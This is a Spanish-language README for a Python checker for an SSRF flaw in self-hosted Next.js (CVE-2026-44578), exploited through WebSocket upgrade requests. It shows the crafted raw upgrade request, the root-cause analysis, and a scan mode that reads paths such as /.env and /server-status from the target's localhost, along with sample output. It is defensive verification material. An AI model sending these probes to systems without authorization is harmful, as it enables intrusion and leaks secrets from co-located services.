
Verificador OOB para GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (SSRF por actualización WebSocket en Next.js)
Verificador in-band para GHSA-c4j6-fc7j-m34r / CVE-2026-44578 — Falsificación de peticiones del lado del servidor (SSRF) en Next.js mediante peticiones de upgrade WebSocket.
⚠️ Solo para pruebas de seguridad autorizadas. Eres responsable de asegurarte de que tienes permiso para probar cada objetivo que pases a este script.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CWE | CWE-918 (SSRF) |
| CVSS v3.1 | 8.6 (Alto) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Afectado | next >=13.4.13 <15.5.16, >=16.0.0 <16.2.5 |
| Parcheado | 15.5.16, 16.2.5 |
| Commit de corrección | c4f69086 |
| No afectado | Alojado en Vercel; output: "export"; despliegues detrás de un proxy inverso que no reenvía Upgrade |
Un atacante abre una conexión TCP a un proceso Next.js autoalojado y envía un upgrade WebSocket HTTP/1.1 cuya request-URI es una URL absoluta:
GET http://anything/<path> HTTP/1.1
Host: <target>
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
En resolveRoutes, la URL contiene // (como toda URI absoluta), lo que
coincide con la rama de "normalizar barras repetidas". Esa rama retorna
anticipadamente con { finished: true, statusCode: 308, parsedUrl: <mangled> }. El
normalizador colapsa http://host/path en http:/host/path (una sola barra).
En router-server.ts, el manejador de upgrade anterior al parche ignoraba
finished/statusCode y solo comprobaba parsedUrl.protocol. Como el
protocolo sobrevive a la normalización, llamaba a proxyRequest(...).
El fix (commit c4f69086) hizo que el manejador de upgrade comprobara
finished && !statusCode antes de hacer proxy. El caso de normalización 308 ahora
falla la comprobación !statusCode y el socket se cierra en su lugar.
El proxy nunca alcanza un host externo. Si configuras un interactsh /
Burp Collaborator / webhook canary y esperas que el proceso de Next llame a casa,
no lo hará — la conexión va a localhost en la máquina objetivo.
Por lo tanto, este verificador utiliza una señal in-band leída desde el socket
de upgrade: un servidor vulnerable devuelve un cuerpo de error reconocible, un
servidor parcheado no devuelve nada.
El objetivo del SSRF está restringido pero sigue siendo relevante en despliegues reales:
127.0.0.1:80 o :443 y confían en peticiones originadas desde localhost.127.0.0.1:80 (poco común pero visto).Los endpoints de metadatos de AWS / GCP / Azure (169.254.169.254) no son directamente
alcanzables porque el bug fija el destino a localhost.
Para cada objetivo, el script abre un socket TCP (o TLS) crudo, envía el upgrade manipulado, lee la respuesta y produce dos señales:
verdict — si el bug está presente.impact_confirmed — si el SSRF realmente exfiltró datos
(es decir, un servicio co-ubicado en localhost:80/443 del objetivo respondió
y obtuvimos su respuesta).Cuando impact_confirmed es true, la salida JSON también incluye
upstream_status, upstream_server y upstream_content_type extraídos
de la respuesta filtrada (útil para triaje / redacción de informes).
Por defecto, cada objetivo también recibe una sonda de control con la misma
línea de petición de URI absoluta pero sin cabeceras Upgrade (Connection: close).
Si el front-end devuelve la misma respuesta a ambas sondas (línea de estado + tamaño
dentro de la tolerancia), el front-end del propio host está rechazando la línea de
petición de URI absoluta en sí — nginx 400, Apache 400, borde CDN — y el SSRF nunca
llegó a Next. El veredicto se degrada a front_end_intercepts y la salida JSON
incluye front_end_status y front_end_server extraídos de la respuesta del proxy
para que el operador pueda identificar qué está interceptando.
Esto elimina un falso positivo del mundo real observado cuando Next autoalojado está
detrás de nginx/Apache: esos proxies rechazan la línea de petición GET http:///x HTTP/1.1
de la sonda con un 400 genérico, que el detector anteriormente malinterpretaba como
vulnerable_proxy_succeeded. Pasa --no-control-probe para desactivar esta protección
y ver los veredictos crudos.
# single target
python3 verify_ghsa_c4j6.py --target https://app.example.com
# multiple targets via flag repetition
python3 verify_ghsa_c4j6.py \
--target https://app1.example.com \
--target app2.example.com:3000 \
--target 10.0.0.5:80
# from a file (one target per line; '#' for comments)
python3 verify_ghsa_c4j6.py --targets-file targets.txt
# from stdin
cat targets.txt | python3 verify_ghsa_c4j6.py
# JSON Lines output for downstream tooling
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
# Enumerate co-located services on the target's localhost:80/443 via the bug
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan
# Same, with a custom path list
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt
--scan sondea una lista integrada de rutas comunes (módulos de estado de
Apache/nginx, endpoints de salud y métricas, Spring Boot Actuator, Go pprof,
endpoints del daemon de Docker, paneles de administración comunes, archivos de
configuración con fugas, rutas de Elasticsearch, etc.) a través del gadget SSRF.
Por defecto, el modo scan ejecuta una sonda de línea base diferencial adicional
con una ruta aleatoria inexistente por objetivo. Las sondas posteriores se etiquetan
DIFF solo cuando su firma (status, body length) diverge de la línea base — los 404
uniformes de un upstream que "no encontró nada" se marcan como noise y no inflan el
contador de aciertos. Pasa --no-differential para informar de cada sonda que alcanzó
un servicio (comportamiento heredado).
La salida se agrupa por objetivo:
=== vulnscope.local:3030 ===
baseline (random path): verdict=vulnerable_proxy_succeeded status=404 bytes≈500
[VULN+] DIFF / impact=YES status=200 ct='text/html'
[VULN+] DIFF /.env impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /admin impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /index.html impact=YES status=200 ct='text/html'
[VULN+] DIFF /server-status impact=YES status=200 ct='application/octet-stream'
[VULN+] noise /_health impact=YES status=404 ct='text/html;charset=utf-8'
[VULN+] noise /actuator/env impact=YES status=404 ct='text/html;charset=utf-8'
... (53 more 404 'noise' paths suppressed) ...
-> 5 differential hit(s) / 58 probes
-> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4
Las filas DIFF son los aciertos reales — rutas cuya respuesta divergió de la
línea base de ruta aleatoria (estado diferente, longitud de cuerpo diferente). Las
filas noise también alcanzaron un servicio HTTP, pero produjeron la misma respuesta
monótona que la línea base — típicamente 404 uniformes que al operador no le importan.
Cuando cada sonda es noise y no hay divergencia con la línea base, el bug sigue
presente pero nada útil está escuchando en localhost:80/443 de ese host.
Los objetivos pueden ser host, host:port o URLs completas http(s)://....
Tuneliza todas las sondas a través de un proxy HTTP CONNECT para inspección en Burp / mitmproxy / OWASP ZAP:
# plain HTTP target via Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080
# HTTPS target via Burp (Burp MITMs TLS — need --insecure or install Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure
# proxy with basic auth
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128
El proxy ve un CONNECT host:port seguido del payload de upgrade crudo —
útil cuando quieres que Burp registre/reproduzca/modifique las sondas SSRF.
Puedes montar un laboratorio vulnerable con cinco comandos:
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030
Salida:
[ VULN] target=127.0.0.1:3030 verdict=vulnerable impact= no
snippet: 'Internal Server Error'
Repite con [email protected] y deberías ver verdict=likely_patched.
demo_impact.sh ejecuta Next en :80 (de modo que su objetivo SSRF fijado a
localhost es el mismo proceso de Next) y lee el HTML del propio Next a través
del bug. Requiere sudo para el enlace del puerto privilegiado.
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh
La salida esperada termina con IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back.
Upgrade enmascarará la vulnerabilidad; el script informará
likely_patched. Vuelve a probar directamente contra el proceso de Next si puedes.Internal Server Error podría teóricamente
ser devuelta por un proxy upstream por su cuenta. Para descartarlo, reenvía el mismo
payload con Connection: close en lugar de Connection: Upgrade — un Next
realmente vulnerable deja de devolver el cuerpo de Internal Server Error en ese
caso (ruta de código diferente).next start usa HTTP/1.1 por defecto.Prueba únicamente sistemas que poseas o para los que tengas autorización explícita y por escrito para evaluar.
MIT
proxyRequest ejecuta url.format(parsedUrl) sobre la URL alterada, obteniendo
http:/host:port/path. http-proxy analiza ese destino, no encuentra host
(url.parse('http:/...').host === null), y cae a su destino predeterminado:
localhost:80 (o localhost:443 para https).
Entonces, en la práctica, el SSRF permite hacer que Next abra un upgrade WebSocket
al localhost:80 / localhost:443 del propio host de Next.js con una
ruta controlada por el atacante.
| Respuesta | Veredicto | impact_confirmed |
|---|
Contiene Internal Server Error | vulnerable | false — bug probado, pero el proxy no alcanzó nada en localhost |
Empieza con HTTP/1. | vulnerable_proxy_succeeded | true — datos de respuesta reales exfiltrados |
| Vacía / cierre limpio | likely_patched | false — también cubre "no es Next", "el proxy inverso eliminó Upgrade", "Vercel" |
| Idéntica al control sin Upgrade | front_end_intercepts | false — el proxy front-end cortocircuitó ambas sondas; el SSRF nunca llegó a Next |
| Cualquier otra cosa | inconclusive | false |
| Opción | Descripción | Por defecto |
|---|
--target URL | Un único objetivo. Repite para múltiples. | — |
--targets-file PATH | Archivo con un objetivo por línea. | — |
--probe-path PATH | Ruta utilizada en la URI absoluta manipulada. Alcanza el servicio localhost del objetivo en esta ruta (registrada con un sufijo de token por objetivo). | /x |
--scan | Enumera rutas comunes en el servicio localhost de cada objetivo. Envía una sonda de línea base diferencial por objetivo más la lista de rutas. | desactivado |
--scan-paths-file PATH | Lista de rutas personalizada para el modo scan (una por línea). Implica --scan. | integrada |
--no-differential | En modo --scan, omite la sonda de línea base e informa de cada sonda que alcanzó un servicio (comportamiento heredado). | desactivado |
--no-control-probe | Desactiva la guardia de cortocircuito del front-end (sonda extra sin Upgrade por objetivo). Útil cuando se sabe estrictamente que los objetivos son procesos Next directos. | desactivado |
--timeout SEC | Tiempo de espera por socket. | 5 |
--concurrency N | Sondas en paralelo. | 10 |
--insecure | Omite la verificación del certificado TLS. Requerido con --proxy al hacer MITM de TLS. | desactivado |
--proxy URL | Tuneliza a través de un proxy HTTP CONNECT (Burp / mitmproxy / ZAP). Soporta autenticación básica mediante http://user:pass@host:port. Requiere Python 3.11+ para objetivos TLS. | directo |
--json | Emite JSON Lines en lugar de texto legible. | desactivado |